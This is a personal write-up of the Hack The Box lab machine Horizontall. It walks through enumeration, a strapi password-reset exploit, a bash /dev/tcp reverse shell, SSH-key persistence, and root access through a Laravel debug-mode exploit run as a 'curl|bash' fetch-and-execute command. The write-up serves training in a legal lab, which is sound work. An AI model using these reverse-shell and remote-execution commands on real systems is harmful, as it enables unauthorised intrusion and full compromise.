Hack The Box Horizontall Writeup

Hack The Box Horizontall

Horizontall is an easy Linux box created by wall99 on Hack The Box and was released on the 28th Aug 2021. Hello world, welcome to haxez where today I will be going through how I hacked Horizontall. To complete this box it is suggested that you have basic Web Enumeration, Linux Enumeration, and SSH Knowledge. The lessons from this box are Source Code Review and Port Forwarding.

Horizontall Enumeration

To ensure that the box was online and that I could talk to it, I sent a ping request. Since the box responded, I performed a Nmap scan against all ports, with default scripts and requested service versions. As a result, I learnt that ports 22 for SSH and 80 for HTTP were open.

Horizontall Nmap

Horizontall Application Enumeration

Navigating to the IP address in my browser, I was redirected to the domain horizontall.htb. However, as this domain name doesn’t resolve through DNS I received an error from Burp.

Horizontall Burp Error

To fix this, I echoed the box’s IP address and domain name into my host’s file. As a result, when visiting the domain name the application loaded as expected. The web application appeared to be a commercial website for a website development company. However, the website wasn’t functional as the links and the contact us form didn’t work.

└─$ echo " horizontall.htb" | sudo tee -a /etc/hosts
Horizontall Application

Next, I ran whatweb but it didn’t reveal much about the application that Nmap hadn’t already told me. It told me the server was Ubuntu and that the web server was nginx.

└─$ whatweb http://horizontall.htb/
Whatweb Horizontall

I ran 2 gobuster scans, 1 to look for directories and 1 to look for virtual hosts but unfortunately, neither produced anything interesting. I think I’m running gobuster incorrectly for virtual hosts. I believe there is an –append-word argument that needs to be added but I get an error when doing that. I will have to look into that this evening.

└─$ gobuster vhost -w /media/sf_OneDrive/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -u http://horizontall.htb -o vhostgobuster.txt -t 50
Horizontall gobuster

However, ffuf does find the virtual host. I filtered by a file size of 194 because that was the file size of the generic error response. I’m doing something wrong with gobuster. Since I wouldn’t have found the virtual host, I’m going to ignore these results and continue enumerating. I’m going to search the academy for gobuster this evening.

└─$ sudo ffuf -u http://horizontall.htb/ -H "Host: FUZZ.horizontall.htb" -w /media/sf_OneDrive/SecLists/Discovery/DNS/subdomains-top1million-110000.txt -fs 194
ffuf vhost brute

Return To The Source

It’s where one must go when they’ve run out of ideas. As you can see below, there were references to Cascading Style Sheet files and Javascript files. I decided to take a look at the Javascript files to see if they contained anything interesting.

Horizontall Page Source

However, the way the browser rendered the code was horrible so I went to https://beautifier.io/ and pasted in the Javascript. Skimming through the code, I noticed a function called getReviews which pointed to the subdomain api-prod.

api subdomain

API Virtual Host Enumeration

After adding the new virtual host to my host file, I navigated to it in my browser. There wasn’t much to look at other than a welcome message.

api-prod Horizontall

I’m pleased to say that gobuster worked for directory brute forcing. It seems there were 3 subdirectories.

└─$ gobuster dir -u http://api-prod.horizontall.htb/ -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words-lowercase.txt
API Enumeration

I navigated to the admin directory which rendered a login page. The page revealed that the technology in use was strapi. Next, I visited the reviews page which returned a JSON response from the server showing reviews of the product.


Following the discovery of the technology, I searched for exploits on Exploit Database and found an RCE. In short, the exploit performs a password reset. It’s written in Python and exploits the vulnerability with the CVE designation CVE-2019-18818. The CVE description explains the following.

strapi before 3.0.0-beta.17.5 mishandles password resets within packages/strapi-admin/controllers/Auth.js and packages/strapi-plugin-users-permissions/controllers/Auth.js.

Therefore, I navigated to the /admin/init endpoint to retrieve the service version to determine whether it was vulnerable. The API reported back that it was version 3.0.0-beta.17.4 which suggested it should be.

Horizontall strapi version

Horizontall Foothold

Don’t you just love it when an exploit just works without having to tinker with it? I copied the code and recreated it locally in a file called exploit.py. Next, I used Python3 to run the code and fed it the URL of the application. Almost immediately, the exploit told me that the password was reset successfully.

└─$ python3 exploit.py http://api-prod.horizontall.htb/
Horizontall Foothold

Just like that, I had code execution and could send myself a reverse shell. First, I set up a netcat listener on my attack box. Next, I ran the following command in the shell on the target machine. Finally, I landed on the box as the strapi user and was able to grab the user flag.

bash -c 'bash -i >& /dev/tcp/ 0>&1'

└─$ sudo nc -lvnp 9001
[sudo] password for kali: 
listening on [any] 9001 ...
connect to [] from (UNKNOWN) [] 46802
strapi@horizontall:~/myapi$ ls /home
ls /home
strapi@horizontall:~/myapi$ cat /home/developer/user.txt
cat /home/developer/user.txt

Horizontall Authenticated Enumeration

First, I wanted to establish persistence on the host so I created a .ssh directory in /opt/strapi/.ssh. Next, I created an SSH key using ssh-keygen and echoed the public key into the authorized_keys file. Finally, I gave the SSH private key 600 permissions and used it to SSH to the host. Once I was back on the host I enumerated the listening services and discovered that port 8000 and MySQL were listening locally.

Listening Services

First, I decided to try and get access to MySQL. Starting at the /opt/strapi/ directory, I ran a recursive grep for the word password but was bombarded with noise. After jumping around a few directories I finally found the database password.

strapi@horizontall:~/myapi/config$ grep -R password
environments/production/database.json:        "password": "${process.env.DATABASE_PASSWORD || ''}",
environments/development/database.json:        "password": "#J!:F9Zt2u"
environments/staging/database.json:        "password": "${process.env.DATABASE_PASSWORD || ''}",

As a result, I was able to log in to the MySQL database as the development user but this appeared to be a dead end. I queried the database and dumped the contents of the various user tables but couldn’t find any hashes other than the administrators.



Since MySQL was a dead end, I moved on to see what was listening on port 8000. Using SSH, I performed local port forwarding so that I could access port 8000 via localhost:1234. Upon visiting that port I found a Laravel application.

└─$ ssh -L 1234:localhost:8000 -i key [email protected]

I ran gobuster to discover directories and was able to identify the /profiles directory. However, the box crapped out shortly after and killed my tunnel.

└─$ gobuster dir -u http://localhost:1234/ -w /media/sf_OneDrive/SecLists/Discovery/Web-Content/raft-small-words.txt
Gobuster again

I recreated the tunnel and navigated to the profiles directory. The application appeared broken and had visual debugging enabled. Searching Google for Laravel Debug exploits resulted in finding this payload >>HERE<< which I recreated locally.

Laravel debug mode

Horizontall Privilege Escalation

I ran the exploit using the syntax below and the results indicated that Laravel was running as root. I was almost there, all I needed to do now was craft a reverse shell and send it back to myself.

└─$ python3 exploit.py http://localhost:1234 Monolog/RCE1 id
python exploit

I was close to getting it right the first time. You can see from the screenshot below the different payloads I tried before resuming IppSec’s video. I attempted the first two on my own before resuming the video but as soon as he said curl, I paused it again and executed the payload myself. Little victories.

Reverse Shell

I created a shell script which contained the following bash script. I then used the exploit with curl to download the file which I then piped to bash to execute it.

└─$ cat shell.sh      
bash -i >& /dev/tcp/ 0>&1

Below, you can see the exact command I used. It needed to be enclosed in single quotation marks.

└─$ python3 exploit.py http://localhost:1234 Monolog/RCE1 'curl|bash'

This connected back to my netcat listener and allowed me to capture the root flag.

└─$ nc -lvnp 9002
listening on [any] 9002 ...
connect to [] from (UNKNOWN) [] 42330
bash: cannot set terminal process group (65829): Inappropriate ioctl for device
bash: no job control in this shell
root@horizontall:/home/developer/myproject/public# cat /root/root.txt
cat /root/root.txt

Horizontal Learnings

There was certainly a lot to learn from this one. I’m starting to understand the difference between difficult and time-consuming boxes. The time it takes to own a box doesn’t necessarily equate to the difficulty. This box took me a long time to complete but it wasn’t that difficult. Owning this box required exploiting publically known vulnerabilities with available exploits. In my opinion, that is exactly what an easy box should be. It did require a lot of enumeration and knowing what to look for.

I enjoyed this box a lot, it let me practise techniques I’m familiar with. It introduced me to technologies I hadn’t used before and their vulnerabilities. Furthermore, it also highlighted areas where I need to invest time to improve. Admittedly, I was worried that the different exploits weren’t going to work but I was pleasantly surprised. Overall, this was a great box which I’m probably going to revisit to get a better understanding.